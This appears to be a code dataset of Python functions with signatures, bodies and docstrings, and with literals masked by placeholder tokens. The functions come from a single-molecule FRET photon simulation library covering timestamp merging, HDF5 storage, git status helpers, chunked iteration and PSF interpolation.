{"signature": "def merge_da(ts_d, ts_par_d, ts_a, ts_par_a):", "body": "ts = np.hstack([ts_d, ts_a])<EOL>ts_par = np.hstack([ts_par_d, ts_par_a])<EOL>a_ch = np.hstack([np.zeros(ts_d.shape[<NUM_LIT:0>], dtype=bool),<EOL>np.ones(ts_a.shape[<NUM_LIT:0>], dtype=bool)])<EOL>index_sort = ts.argsort()<EOL>return ts[index_sort], a_ch[index_sort], ts_par[index_sort]<EOL>", "docstring": "Merge donor and acceptor timestamps and particle arrays.\n\n    Parameters:\n        ts_d (array): donor timestamp array\n        ts_par_d (array): donor particles array\n        ts_a (array): acceptor timestamp array\n        ts_par_a (array): acceptor particles array\n\n    Returns:\n        Arrays: timestamps, acceptor bool mask, timestamp particle", "id": "f15424:m0"}
{"signature": "def em_rates_from_E_DA(em_rate_tot, E_values):", "body": "E_values = np.asarray(E_values)<EOL>em_rates_a = E_values * em_rate_tot<EOL>em_rates_d = em_rate_tot - em_rates_a<EOL>return em_rates_d, em_rates_a<EOL>", "docstring": "Donor and Acceptor emission rates from total emission rate and E (FRET).", "id": "f15424:m1"}
{"signature": "def em_rates_from_E_unique(em_rate_tot, E_values):", "body": "em_rates_d, em_rates_a = em_rates_from_E_DA(em_rate_tot, E_values)<EOL>return np.unique(np.hstack([em_rates_d, em_rates_a]))<EOL>", "docstring": "Array of unique emission rates for given total emission and E (FRET).", "id": "f15424:m2"}
{"signature": "def em_rates_from_E_DA_mix(em_rates_tot, E_values):", "body": "em_rates_d, em_rates_a = [], []<EOL>for em_rate_tot, E_value in zip(em_rates_tot, E_values):<EOL><INDENT>em_rate_di, em_rate_ai = em_rates_from_E_DA(em_rate_tot, E_value)<EOL>em_rates_d.append(em_rate_di)<EOL>em_rates_a.append(em_rate_ai)<EOL><DEDENT>return em_rates_d, em_rates_a<EOL>", "docstring": "D and A emission rates for two populations.", "id": "f15424:m3"}
{"signature": "def populations_diff_coeff(particles, populations):", "body": "D_counts = particles.diffusion_coeff_counts<EOL>if len(D_counts) == <NUM_LIT:1>:<EOL><INDENT>pop_sizes = [pop.stop - pop.start for pop in populations]<EOL>assert D_counts[<NUM_LIT:0>][<NUM_LIT:1>] >= sum(pop_sizes)<EOL>D_counts = [(D_counts[<NUM_LIT:0>][<NUM_LIT:0>], ps) for ps in pop_sizes]<EOL><DEDENT>D_list = []<EOL>D_pop_start = <NUM_LIT:0>  <EOL>for pop, (D, counts) in zip(populations, D_counts):<EOL><INDENT>D_list.append(D)<EOL>assert pop.start >= D_pop_start<EOL>assert pop.stop <= D_pop_start + counts<EOL>D_pop_start += counts<EOL><DEDENT>return D_list<EOL>", "docstring": "Diffusion coefficients of the two specified populations.", "id": "f15424:m4"}
{"signature": "def populations_slices(particles, num_pop_list):", "body": "slices = []<EOL>i_prev = <NUM_LIT:0><EOL>for num_pop in num_pop_list:<EOL><INDENT>slices.append(slice(i_prev, i_prev + num_pop))<EOL>i_prev += num_pop<EOL><DEDENT>return slices<EOL>", "docstring": "2-tuple of slices for selection of two populations.", "id": "f15424:m5"}
{"signature": "def _calc_hash_da(self, rs):", "body": "self.hash_d = hash_(rs.get_state())[:<NUM_LIT:6>]<EOL>self.hash_a = self.hash_d<EOL>", "docstring": "Compute hash of D and A timestamps for single-step D+A case.", "id": "f15424:c0:m6"}
{"signature": "def run(self, rs, overwrite=True, skip_existing=False, path=None,<EOL>chunksize=None):", "body": "if path is None:<EOL><INDENT>path = str(self.S.store.filepath.parent)<EOL><DEDENT>kwargs = dict(rs=rs, overwrite=overwrite, path=path,<EOL>timeslice=self.timeslice, skip_existing=skip_existing)<EOL>if chunksize is not None:<EOL><INDENT>kwargs['<STR_LIT>'] = chunksize<EOL><DEDENT>header = '<STR_LIT>'<EOL>self.hash_d = hash_(rs.get_state())[:<NUM_LIT:6>]   <EOL>print('<STR_LIT>' % (header, ctime()), flush=True)<EOL>self.S.simulate_timestamps_mix(<EOL>populations = self.populations,<EOL>max_rates = self.em_rates_d,<EOL>bg_rate = self.bg_rate_d,<EOL>**kwargs)<EOL>ts_d, _ = self.S.get_timestamps_part(self.name_timestamps_d)<EOL>rs.set_state(ts_d.attrs['<STR_LIT>'])<EOL>self.hash_a = hash_(rs.get_state())[:<NUM_LIT:6>]   <EOL>print('<STR_LIT>' % (header, ctime()), flush=True)<EOL>self.S.simulate_timestamps_mix(<EOL>populations = self.populations,<EOL>max_rates = self.em_rates_a,<EOL>bg_rate = self.bg_rate_a,<EOL>**kwargs)<EOL>print('<STR_LIT>' % (header, ctime()), flush=True)<EOL>", "docstring": "Compute timestamps for current populations.", "id": "f15424:c0:m7"}
{"signature": "def run_da(self, rs, overwrite=True, skip_existing=False, path=None,<EOL>chunksize=None):", "body": "if path is None:<EOL><INDENT>path = str(self.S.store.filepath.parent)<EOL><DEDENT>kwargs = dict(rs=rs, overwrite=overwrite, path=path,<EOL>timeslice=self.timeslice, skip_existing=skip_existing)<EOL>if chunksize is not None:<EOL><INDENT>kwargs['<STR_LIT>'] = chunksize<EOL><DEDENT>header = '<STR_LIT>'<EOL>self._calc_hash_da(rs)<EOL>print('<STR_LIT>' %<EOL>(header, ctime()), flush=True)<EOL>self.S.simulate_timestamps_mix_da(<EOL>max_rates_d = self.em_rates_d,<EOL>max_rates_a = self.em_rates_a,<EOL>populations = self.populations,<EOL>bg_rate_d = self.bg_rate_d,<EOL>bg_rate_a = self.bg_rate_a,<EOL>**kwargs)<EOL>print('<STR_LIT>' % (header, ctime()), flush=True)<EOL>", "docstring": "Compute timestamps for current populations.", "id": "f15424:c0:m8"}
{"signature": "def merge_da(self):", "body": "print('<STR_LIT>', flush=True)<EOL>ts_d, ts_par_d = self.S.get_timestamps_part(self.name_timestamps_d)<EOL>ts_a, ts_par_a = self.S.get_timestamps_part(self.name_timestamps_a)<EOL>ts, a_ch, part = merge_da(ts_d, ts_par_d, ts_a, ts_par_a)<EOL>assert a_ch.sum() == ts_a.shape[<NUM_LIT:0>]<EOL>assert (~a_ch).sum() == ts_d.shape[<NUM_LIT:0>]<EOL>assert a_ch.size == ts_a.shape[<NUM_LIT:0>] + ts_d.shape[<NUM_LIT:0>]<EOL>self.ts, self.a_ch, self.part = ts, a_ch, part<EOL>self.clk_p = ts_d.attrs['<STR_LIT>']<EOL>", "docstring": "Merge donor and acceptor timestamps, computes `ts`, `a_ch`, `part`.", "id": "f15424:c0:m11"}
{"signature": "def save_photon_hdf5(self, identity=None, overwrite=True, path=None):", "body": "filepath = self.filepath<EOL>if path is not None:<EOL><INDENT>filepath = Path(path, filepath.name)<EOL><DEDENT>self.merge_da()<EOL>data = self._make_photon_hdf5(identity=identity)<EOL>phc.hdf5.save_photon_hdf5(data, h5_fname=str(filepath),<EOL>overwrite=overwrite)<EOL>", "docstring": "Create a smFRET Photon-HDF5 file with current timestamps.", "id": "f15424:c0:m13"}
{"signature": "def __init__(self, datafile, path='<STR_LIT>', nparams=dict(), attr_params=dict(),<EOL>mode='<STR_LIT:r>'):", "body": "if isinstance(datafile, Path):<EOL><INDENT>self.filepath = datafile<EOL><DEDENT>else:<EOL><INDENT>if not Path(path).exists():<EOL><INDENT>raise ValueError('<STR_LIT>' % path)<EOL><DEDENT>self.filepath = Path(path, datafile)<EOL><DEDENT>self.h5file = tables.open_file(str(self.filepath), mode=mode)<EOL>self.filename = str(self.filepath)<EOL>if mode == '<STR_LIT:w>':<EOL><INDENT>self.h5file.title = \"<STR_LIT>\"<EOL>self.h5file.create_group('<STR_LIT:/>', '<STR_LIT>', '<STR_LIT>')<EOL>self.set_sim_params(nparams, attr_params)<EOL><DEDENT>", "docstring": "Return a new HDF5 file to store simulation results.\n\n        The HDF5 file has two groups:\n        '/parameters'\n            containing all the simulation numeric-parameters\n\n        If `mode='w'`, `datafile` will be overwritten (if exists).", "id": "f15425:c1:m1"}
{"signature": "def open(self):", "body": "self.__init__(self.h5file.filename, mode='<STR_LIT:r>')<EOL>", "docstring": "Reopen a file after has been closed (uses the store filename).", "id": "f15425:c1:m3"}
{"signature": "def set_sim_params(self, nparams, attr_params):", "body": "for name, value in nparams.items():<EOL><INDENT>val = value[<NUM_LIT:0>] if value[<NUM_LIT:0>] is not None else '<STR_LIT:none>'<EOL>self.h5file.create_array('<STR_LIT>', name, obj=val,<EOL>title=value[<NUM_LIT:1>])<EOL><DEDENT>for name, value in attr_params.items():<EOL><INDENT>self.h5file.set_node_attr('<STR_LIT>', name, value)<EOL><DEDENT>", "docstring": "Store parameters in `params` in `h5file.root.parameters`.\n\n        `nparams` (dict)\n            A dict as returned by `get_params()` in `ParticlesSimulation()`\n            The format is:\n            keys:\n                used as parameter name\n            values: (2-elements tuple)\n                first element is the parameter value\n                second element is a string used as \"title\" (description)\n        `attr_params` (dict)\n            A dict whole items are stored as attributes in '/parameters'", "id": "f15425:c1:m4"}
{"signature": "@property<EOL><INDENT>def numeric_params(self):<DEDENT>", "body": "nparams = dict()<EOL>for p in self.h5file.root.parameters:<EOL><INDENT>nparams[p.name] = p.read()<EOL><DEDENT>return nparams<EOL>", "docstring": "Return a dict containing all (key, values) stored in '/parameters'", "id": "f15425:c1:m5"}
{"signature": "@property<EOL><INDENT>def numeric_params_meta(self):<DEDENT>", "body": "nparams = dict()<EOL>for p in self.h5file.root.parameters:<EOL><INDENT>nparams[p.name] = (p.read(), p.title)<EOL><DEDENT>return nparams<EOL>", "docstring": "Return a dict with all parameters and metadata in '/parameters'.\n\n        This returns the same dict format as returned by get_params() method\n        in ParticlesSimulation().", "id": "f15425:c1:m6"}
{"signature": "def __init__(self, datafile, path='<STR_LIT>', nparams=dict(), attr_params=dict(),<EOL>mode='<STR_LIT:r>'):", "body": "super().__init__(datafile, path=path, nparams=nparams,<EOL>attr_params=attr_params, mode=mode)<EOL>if mode != '<STR_LIT:r>':<EOL><INDENT>self.h5file.create_group('<STR_LIT:/>', '<STR_LIT>',<EOL>'<STR_LIT>')<EOL>self.h5file.create_group('<STR_LIT:/>', '<STR_LIT>', '<STR_LIT>')<EOL><DEDENT>", "docstring": "Return a new HDF5 file to store simulation results.\n\n        The HDF5 file has two groups:\n        '/parameters'\n            containing all the simulation numeric-parameters\n\n        '/trajectories'\n            containing simulation trajectories (positions, emission traces)\n\n        If `mode='w'`, `datafile` will be overwritten (if exists).", "id": "f15425:c2:m0"}
{"signature": "def add_trajectory(self, name, overwrite=False, shape=(<NUM_LIT:0>,), title='<STR_LIT>',<EOL>chunksize=<NUM_LIT:2>**<NUM_LIT>, comp_filter=default_compression,<EOL>atom=tables.Float64Atom(), params=dict(),<EOL>chunkslice='<STR_LIT>'):", "body": "group = self.h5file.root.trajectories<EOL>if name in group:<EOL><INDENT>print(\"<STR_LIT>\" % name, end='<STR_LIT>')<EOL>if overwrite:<EOL><INDENT>self.h5file.remove_node(group, name)<EOL>print(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>print(\"<STR_LIT>\")<EOL>return group.get_node(name)<EOL><DEDENT><DEDENT>nparams = self.numeric_params<EOL>num_t_steps = nparams['<STR_LIT>'] / nparams['<STR_LIT>']<EOL>chunkshape = self.calc_chunkshape(chunksize, shape, kind=chunkslice)<EOL>store_array = self.h5file.create_earray(<EOL>group, name, atom=atom,<EOL>shape = shape,<EOL>chunkshape = chunkshape,<EOL>expectedrows = num_t_steps,<EOL>filters = comp_filter,<EOL>title = title)<EOL>for key, value in params.items():<EOL><INDENT>store_array.set_attr(key, value)<EOL><DEDENT>store_array.set_attr('<STR_LIT>', __version__)<EOL>store_array.set_attr('<STR_LIT>', current_time())<EOL>return store_array<EOL>", "docstring": "Add an trajectory array in '/trajectories'.", "id": "f15425:c2:m1"}
{"signature": "def add_emission_tot(self, chunksize=<NUM_LIT:2>**<NUM_LIT>, comp_filter=default_compression,<EOL>overwrite=False, params=dict(),<EOL>chunkslice='<STR_LIT>'):", "body": "kwargs = dict(overwrite=overwrite, chunksize=chunksize, params=params,<EOL>comp_filter=comp_filter, atom=tables.Float32Atom(),<EOL>title='<STR_LIT>')<EOL>return self.add_trajectory('<STR_LIT>', **kwargs)<EOL>", "docstring": "Add the `emission_tot` array in '/trajectories'.", "id": "f15425:c2:m2"}
{"signature": "def add_emission(self, chunksize=<NUM_LIT:2>**<NUM_LIT>, comp_filter=default_compression,<EOL>overwrite=False, params=dict(), chunkslice='<STR_LIT>'):", "body": "nparams = self.numeric_params<EOL>num_particles = nparams['<STR_LIT>']<EOL>return self.add_trajectory('<STR_LIT>', shape=(num_particles, <NUM_LIT:0>),<EOL>overwrite=overwrite, chunksize=chunksize,<EOL>comp_filter=comp_filter,<EOL>atom=tables.Float32Atom(),<EOL>title='<STR_LIT>',<EOL>params=params)<EOL>", "docstring": "Add the `emission` array in '/trajectories'.", "id": "f15425:c2:m3"}
{"signature": "def add_position(self, radial=False, chunksize=<NUM_LIT:2>**<NUM_LIT>, chunkslice='<STR_LIT>',<EOL>comp_filter=default_compression, overwrite=False,<EOL>params=dict()):", "body": "nparams = self.numeric_params<EOL>num_particles = nparams['<STR_LIT>']<EOL>name, ncoords, prefix = '<STR_LIT>', <NUM_LIT:3>, '<STR_LIT>'<EOL>if radial:<EOL><INDENT>name, ncoords, prefix = '<STR_LIT>', <NUM_LIT:2>, '<STR_LIT>'<EOL><DEDENT>title = '<STR_LIT>' % prefix<EOL>return self.add_trajectory(name, shape=(num_particles, ncoords, <NUM_LIT:0>),<EOL>overwrite=overwrite, chunksize=chunksize,<EOL>comp_filter=comp_filter,<EOL>atom=tables.Float32Atom(),<EOL>title=title,<EOL>params=params)<EOL>", "docstring": "Add the `position` array in '/trajectories'.", "id": "f15425:c2:m4"}
{"signature": "def __init__(self, datafile, path='<STR_LIT>', nparams=dict(), attr_params=dict(),<EOL>mode='<STR_LIT:r>'):", "body": "super().__init__(datafile, path=path, nparams=nparams,<EOL>attr_params=attr_params, mode=mode)<EOL>if mode != '<STR_LIT:r>':<EOL><INDENT>if '<STR_LIT>' not in self.h5file.root:<EOL><INDENT>self.h5file.create_group('<STR_LIT:/>', '<STR_LIT>',<EOL>'<STR_LIT>')<EOL><DEDENT><DEDENT>", "docstring": "Return a new HDF5 file to store simulation results.\n\n        The HDF5 file has two groups:\n        '/parameters'\n            containing all the simulation numeric-parameters\n\n        '/timestamps'\n            containing simulated timestamps\n\n        If `overwrite=True` (default) `datafile` is overwritten (if exists).", "id": "f15425:c3:m0"}
{"signature": "def git_path_valid(git_path=None):", "body": "if git_path is None and GIT_PATH is None:<EOL><INDENT>return False<EOL><DEDENT>if git_path is None: git_path = GIT_PATH<EOL>try:<EOL><INDENT>call([git_path, '<STR_LIT>'])<EOL>return True<EOL><DEDENT>except OSError:<EOL><INDENT>return False<EOL><DEDENT>", "docstring": "Check whether the git executable is found.", "id": "f15427:m1"}
{"signature": "def get_git_version(git_path=None):", "body": "if git_path is None: git_path = GIT_PATH<EOL>git_version = check_output([git_path, \"<STR_LIT>\"]).split()[<NUM_LIT:2>]<EOL>return git_version<EOL>", "docstring": "Get the Git version.", "id": "f15427:m2"}
{"signature": "def get_status(git_path=None):", "body": "if git_path is None: git_path = GIT_PATH<EOL>output = check_output([git_path, \"<STR_LIT:status>\", \"<STR_LIT>\"])<EOL>return output<EOL>", "docstring": "Returns a string listing all the uncommitted changes in the working dir.", "id": "f15427:m3"}
{"signature": "def check_clean_status(git_path=None):", "body": "output = get_status(git_path)<EOL>is_unmodified = (len(output.strip()) == <NUM_LIT:0>)<EOL>return is_unmodified<EOL>", "docstring": "Returns whether there are uncommitted changes in the working dir.", "id": "f15427:m4"}
{"signature": "def get_last_commit_line(git_path=None):", "body": "if git_path is None: git_path = GIT_PATH<EOL>output = check_output([git_path, \"<STR_LIT>\", \"<STR_LIT>\",<EOL>\"<STR_LIT>\", \"<STR_LIT>\"])<EOL>return output.strip()[<NUM_LIT:1>:-<NUM_LIT:1>]<EOL>", "docstring": "Get one-line description of HEAD commit for repository in current dir.", "id": "f15427:m5"}
{"signature": "def get_last_commit(git_path=None):", "body": "if git_path is None: git_path = GIT_PATH<EOL>line = get_last_commit_line(git_path)<EOL>revision_id = line.split()[<NUM_LIT:1>]<EOL>return revision_id<EOL>", "docstring": "Get the HEAD commit SHA1 of repository in current dir.", "id": "f15427:m6"}
{"signature": "def print_summary(string='<STR_LIT>', git_path=None):", "body": "if git_path is None: git_path = GIT_PATH<EOL>if not git_path_valid():<EOL><INDENT>print('<STR_LIT>' % string)<EOL><DEDENT>else:<EOL><INDENT>last_commit = get_last_commit_line()<EOL>print('<STR_LIT>'.format(string, last_commit))<EOL>if not check_clean_status():<EOL><INDENT>print('<STR_LIT>')<EOL>print(get_status())<EOL><DEDENT><DEDENT>", "docstring": "Print the last commit line and eventual uncommitted changes.", "id": "f15427:m7"}
{"signature": "def print_attrs(data_file, node_name='<STR_LIT:/>', which='<STR_LIT:user>', compress=False):", "body": "node = data_file.get_node(node_name)<EOL>print ('<STR_LIT>' % node)<EOL>for attr in node._v_attrs._f_list():<EOL><INDENT>print ('<STR_LIT>' % attr)<EOL>attr_content = repr(node._v_attrs[attr])<EOL>if compress:<EOL><INDENT>attr_content = attr_content.split('<STR_LIT:\\n>')[<NUM_LIT:0>]<EOL><DEDENT>print (\"<STR_LIT>\" % attr_content)<EOL><DEDENT>", "docstring": "Print the HDF5 attributes for `node_name`.\n\n    Parameters:\n        data_file (pytables HDF5 file object): the data file to print\n        node_name (string): name of the path inside the file to be printed.\n            Can be either a group or a leaf-node. Default: '/', the root node.\n        which (string): Valid values are 'user' for user-defined attributes,\n            'sys' for pytables-specific attributes and 'all' to print both\n            groups of attributes. Default 'user'.\n        compress (bool): if True displays at most a line for each attribute.\n            Default False.", "id": "f15428:m0"}
{"signature": "def print_children(data_file, group='<STR_LIT:/>'):", "body": "base = data_file.get_node(group)<EOL>print ('<STR_LIT>' % base)<EOL>for node in base._f_walk_groups():<EOL><INDENT>if node is not base:<EOL><INDENT>print ('<STR_LIT>' % node)<EOL><DEDENT><DEDENT>print ('<STR_LIT>' % group)<EOL>for node in base._v_leaves.itervalues():<EOL><INDENT>info = node.shape<EOL>if len(info) == <NUM_LIT:0>:<EOL><INDENT>info = node.read()<EOL><DEDENT>print ('<STR_LIT>' % (node.name, info))<EOL>if len(node.title) > <NUM_LIT:0>:<EOL><INDENT>print ('<STR_LIT>' % node.title)<EOL><DEDENT><DEDENT>", "docstring": "Print all the sub-groups in `group` and leaf-nodes children of `group`.\n\n    Parameters:\n        data_file (pytables HDF5 file object): the data file to print\n        group (string): path name of the group to be printed.\n            Default: '/', the root node.", "id": "f15428:m1"}
{"signature": "def iter_chunksize(num_samples, chunksize):", "body": "last_chunksize = int(np.mod(num_samples, chunksize))<EOL>chunksize = int(chunksize)<EOL>for _ in range(int(num_samples) // chunksize):<EOL><INDENT>yield chunksize<EOL><DEDENT>if last_chunksize > <NUM_LIT:0>:<EOL><INDENT>yield last_chunksize<EOL><DEDENT>", "docstring": "Iterator used to iterate in chunks over an array of size `num_samples`.\n    At each iteration returns `chunksize` except for the last iteration.", "id": "f15429:m0"}
{"signature": "def iter_chunk_slice(num_samples, chunksize):", "body": "i = <NUM_LIT:0><EOL>for c_size in iter_chunksize(num_samples, chunksize):<EOL><INDENT>yield slice(i, i + c_size)<EOL>i += c_size<EOL><DEDENT>", "docstring": "Iterator used to iterate in chunks over an array of size `num_samples`.\n\n    At each iteration returns a slice of size `chunksize`. In the last\n    iteration the slice may be smaller.", "id": "f15429:m1"}
{"signature": "def iter_chunk_index(num_samples, chunksize):", "body": "i = <NUM_LIT:0><EOL>for c_size in iter_chunksize(num_samples, chunksize):<EOL><INDENT>yield i, i + c_size<EOL>i += c_size<EOL><DEDENT>", "docstring": "Iterator used to iterate in chunks over an array of size `num_samples`.\n\n    At each iteration returns a start and stop index for a slice of size\n    `chunksize`. In the last iteration the slice may be smaller.", "id": "f15429:m2"}
{"signature": "def reduce_chunk(func, array):", "body": "res = []<EOL>for slice in iter_chunk_slice(array.shape[-<NUM_LIT:1>], array.chunkshape[-<NUM_LIT:1>]):<EOL><INDENT>res.append(func(array[..., slice]))<EOL><DEDENT>return func(res)<EOL>", "docstring": "Reduce with `func`, chunk by chunk, the passed pytable `array`.", "id": "f15429:m3"}
{"signature": "def map_chunk(func, array, out_array):", "body": "for slice in iter_chunk_slice(array.shape[-<NUM_LIT:1>], array.chunkshape[-<NUM_LIT:1>]):<EOL><INDENT>out_array.append(func(array[..., slice]))<EOL><DEDENT>return out_array<EOL>", "docstring": "Map with `func`, chunk by chunk, the input pytable `array`.\n    The result is stored in the output pytable array `out_array`.", "id": "f15429:m4"}
{"signature": "def load_PSFLab_file(fname):", "body": "if os.path.exists(fname) or os.path.exists(fname + '<STR_LIT>'):<EOL><INDENT>return loadmat(fname)['<STR_LIT:data>']<EOL><DEDENT>else:<EOL><INDENT>raise IOError(\"<STR_LIT>\" % fname)<EOL><DEDENT>", "docstring": "Load the array `data` in the .mat file `fname`.", "id": "f15431:m0"}
{"signature": "def convert_PSFLab_xz(data, x_step=<NUM_LIT:0.5>, z_step=<NUM_LIT:0.5>, normalize=False):", "body": "z_len, x_len = data.shape<EOL>hdata = data[:, (x_len - <NUM_LIT:1>) // <NUM_LIT:2>:]<EOL>x = np.arange(hdata.shape[<NUM_LIT:1>]) * x_step<EOL>z = np.arange(-(z_len - <NUM_LIT:1>) / <NUM_LIT:2>, (z_len - <NUM_LIT:1>) / <NUM_LIT:2> + <NUM_LIT:1>) * z_step<EOL>if normalize:<EOL><INDENT>hdata /= hdata.max()  <EOL><DEDENT>return x, z, hdata, hdata[:, <NUM_LIT:0>].argmax()<EOL>", "docstring": "Process a 2D array (from PSFLab .mat file) containing a x-z PSF slice.\n\n    The input data is the raw array saved by PSFLab. The returned array has\n    the x axis cut in half (only positive x) to take advantage of the\n    rotational symmetry around z. Pysical dimensions (`x_step` and `z_step)\n    are also assigned.\n\n    If `nomalize` is True the peak is normalized to 1.\n\n    Returns:\n    x, z: (1D array) the X and Z axis in pysical units\n    hdata: (2D array) the PSF intesity\n    izm: (float) the index of PSF max along z (axis 0) for x=0 (axis 1)", "id": "f15431:m1"}
{"signature": "def __init__(self, xc=<NUM_LIT:0>, yc=<NUM_LIT:0>, zc=<NUM_LIT:0>, sx=<NUM_LIT:1>, sy=<NUM_LIT:1>, sz=<NUM_LIT:1>):", "body": "self.xc, self.yc, self.zc = xc, yc, zc<EOL>self.rc = np.array([xc, yc, zc])<EOL>self.sx, self.sy, self.sz = sx, sy, sz<EOL>self.s = np.array([sx, sy, sz])<EOL>self.kind = \"<STR_LIT>\"<EOL>", "docstring": "Create a Gaussian PSF object with given center and sigmas.\n        `xc`, `yc`, `zc`: position of hte center of the gaussian\n        `sx`, `sy`, `sz`: sigmas of the gaussian function.", "id": "f15431:c0:m0"}
{"signature": "def eval(self, x, y, z):", "body": "xc, yc, zc = self.rc<EOL>sx, sy, sz = self.s<EOL>def arg(s):<EOL><INDENT>return \"<STR_LIT>\" % (s, s, s)<EOL><DEDENT>return NE.evaluate(\"<STR_LIT>\" %<EOL>(arg(\"<STR_LIT:x>\"), arg(\"<STR_LIT:y>\"), arg(\"<STR_LIT:z>\")))<EOL>", "docstring": "Evaluate the function in (x, y, z).", "id": "f15431:c0:m1"}
{"signature": "def __init__(self, fname='<STR_LIT>',<EOL>dir_=None, x_step=<NUM_LIT:0.5> / <NUM_LIT:8>, z_step=<NUM_LIT:0.5> / <NUM_LIT:8>,<EOL>psf_pytables=None):", "body": "if psf_pytables is not None:<EOL><INDENT>self.psflab_psf_raw = psf_pytables[:]<EOL>for name in ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>']:<EOL><INDENT>setattr(self, name, psf_pytables.get_attr(name))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>self.fname = fname<EOL>if dir_ is None:<EOL><INDENT>dir_ = pkg_resources.resource_filename('<STR_LIT>', '<STR_LIT>')<EOL><DEDENT>self.dir_ = dir_<EOL>self.x_step, self.z_step = x_step, z_step<EOL>self.psflab_psf_raw = load_PSFLab_file('<STR_LIT:/>'.join([dir_, fname]))<EOL><DEDENT>xi, zi, hdata, zm = convert_PSFLab_xz(self.psflab_psf_raw,<EOL>x_step=x_step, z_step=z_step,<EOL>normalize=True)<EOL>self._fun_um = SI.RectBivariateSpline(xi, zi, hdata.T, kx=<NUM_LIT:1>, ky=<NUM_LIT:1>)<EOL>self.xi, self.zi, self.hdata, self.zm = xi, zi, hdata, zm<EOL>self.x_step, self.z_step = xi[<NUM_LIT:1>] - xi[<NUM_LIT:0>], zi[<NUM_LIT:1>] - zi[<NUM_LIT:0>]<EOL>self.kind = '<STR_LIT>'<EOL>", "docstring": "Create a PSF object for interpolation from numeric data.\n\n        `dir_+fname`: should be a valid path\n\n        If `dir_` is None use the \"system\" folder where the PSF shipped with\n        pybromo are placed.", "id": "f15431:c1:m0"}
{"signature": "def eval_xz(self, x, z):", "body": "return self._fun_um.ev(x * <NUM_LIT>, z * <NUM_LIT>)<EOL>", "docstring": "Evaluate the function in (x, z) (micro-meters).\n        The function is rotationally symmetric around z.", "id": "f15431:c1:m1"}
{"signature": "def eval(self, x, y, z):", "body": "ro = np.sqrt(x**<NUM_LIT:2> + y**<NUM_LIT:2>)<EOL>zs, xs = ro.shape<EOL>v = self.eval_xz(ro.ravel(), z.ravel())<EOL>return v.reshape(zs, xs)<EOL>", "docstring": "Evaluate the function in (x, y, z).\n        The function is rotationally symmetric around z.", "id": "f15431:c1:m2"}
{"signature": "def to_hdf5(self, file_handle, parent_node='<STR_LIT:/>'):", "body": "tarray = file_handle.create_array(parent_node, name=self.fname,<EOL>obj=self.psflab_psf_raw,<EOL>title='<STR_LIT>')<EOL>for name in ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>']:<EOL><INDENT>file_handle.set_node_attr(tarray, name, getattr(self, name))<EOL><DEDENT>return tarray<EOL>", "docstring": "Store the PSF data in `file_handle` (pytables) in `parent_node`.\n\n        The raw PSF array name is stored with same name as the original fname.\n        Also, the following attribues are set: fname, dir_, x_step, z_step.", "id": "f15431:c1:m3"}
{"signature": "def hash(self):", "body": "hash_list = []<EOL>for key, value in sorted(self.__dict__.items()):<EOL><INDENT>if not callable(value):<EOL><INDENT>if isinstance(value, np.ndarray):<EOL><INDENT>hash_list.append(value.tostring())<EOL><DEDENT>else:<EOL><INDENT>hash_list.append(str(value))<EOL><DEDENT><DEDENT><DEDENT>return hashlib.md5(repr(hash_list).encode()).hexdigest()<EOL>", "docstring": "Return an hash string computed on the PSF data.", "id": "f15431:c1:m4"}
{"signature": "def get_bromo_fnames_da(d_em_kHz, d_bg_kHz, a_em_kHz, a_bg_kHz,<EOL>ID='<STR_LIT>', t_tot='<STR_LIT>', num_p='<STR_LIT>', pM='<STR_LIT>',<EOL>t_step=<NUM_LIT>, D=<NUM_LIT>, dir_='<STR_LIT>'):", "body": "clk_p = t_step/<NUM_LIT> <EOL>E_sim = <NUM_LIT:1.>*a_em_kHz/(a_em_kHz + d_em_kHz)<EOL>FRET_val = <NUM_LIT>*E_sim<EOL>print(\"<STR_LIT>\" % FRET_val)<EOL>d_em_kHz_str = \"<STR_LIT>\" % d_em_kHz<EOL>a_em_kHz_str = \"<STR_LIT>\" % a_em_kHz<EOL>d_bg_kHz_str = \"<STR_LIT>\" % d_bg_kHz<EOL>a_bg_kHz_str = \"<STR_LIT>\" % a_bg_kHz<EOL>print(\"<STR_LIT>\" % (d_em_kHz_str, d_bg_kHz_str))<EOL>print(\"<STR_LIT>\" % (a_em_kHz_str, a_bg_kHz_str))<EOL>fname_d = ('<STR_LIT>'<EOL>'<STR_LIT>').format(<EOL>em=d_em_kHz_str, bg=d_bg_kHz_str, t_tot=t_tot, pM=pM,<EOL>np=num_p, ID=ID, ts_us=t_step*<NUM_LIT>, D=D)<EOL>fname_a = ('<STR_LIT>'<EOL>'<STR_LIT>').format(<EOL>em=a_em_kHz_str, bg=a_bg_kHz_str, t_tot=t_tot, pM=pM,<EOL>np=num_p, ID=ID, ts_us=t_step*<NUM_LIT>, D=D)<EOL>print(fname_d)<EOL>print(fname_a)<EOL>name = ('<STR_LIT>'<EOL>'<STR_LIT>').format(FRET_val, d_bg_kHz, a_bg_kHz, d_em_kHz)<EOL>return dir_+fname_d, dir_+fname_a, name, clk_p, E_sim<EOL>", "docstring": "Get filenames for donor and acceptor timestamps for the given parameters", "id": "f15432:m0"}
{"signature": "def parallel_gen_timestamps(dview, max_em_rate, bg_rate):", "body": "dview.execute('<STR_LIT>'<EOL>'<STR_LIT>' % (max_em_rate, bg_rate))<EOL>dview.execute('<STR_LIT>')<EOL>dview.execute('<STR_LIT>')<EOL>Times = dview['<STR_LIT>']<EOL>Times_par = dview['<STR_LIT>']<EOL>t_max = dview['<STR_LIT>'][<NUM_LIT:0>]<EOL>t_tot = np.sum(dview['<STR_LIT>'])<EOL>dview.execute(\"<STR_LIT>\")<EOL>sim_name = dview['<STR_LIT>'][<NUM_LIT:0>]<EOL>times_all, times_par_all = merge_ph_times(Times, Times_par,<EOL>time_block=t_max)<EOL>return times_all, times_par_all, t_tot, sim_name<EOL>", "docstring": "Generate timestamps from a set of remote simulations in `dview`.\n    Assumes that all the engines have an `S` object already containing\n    an emission trace (`S.em`). The \"photons\" timestamps are generated\n    from these emission traces and merged into a single array of timestamps.\n    `max_em_rate` and `bg_rate` are passed to `S.sim_timetrace()`.", "id": "f15434:m0"}
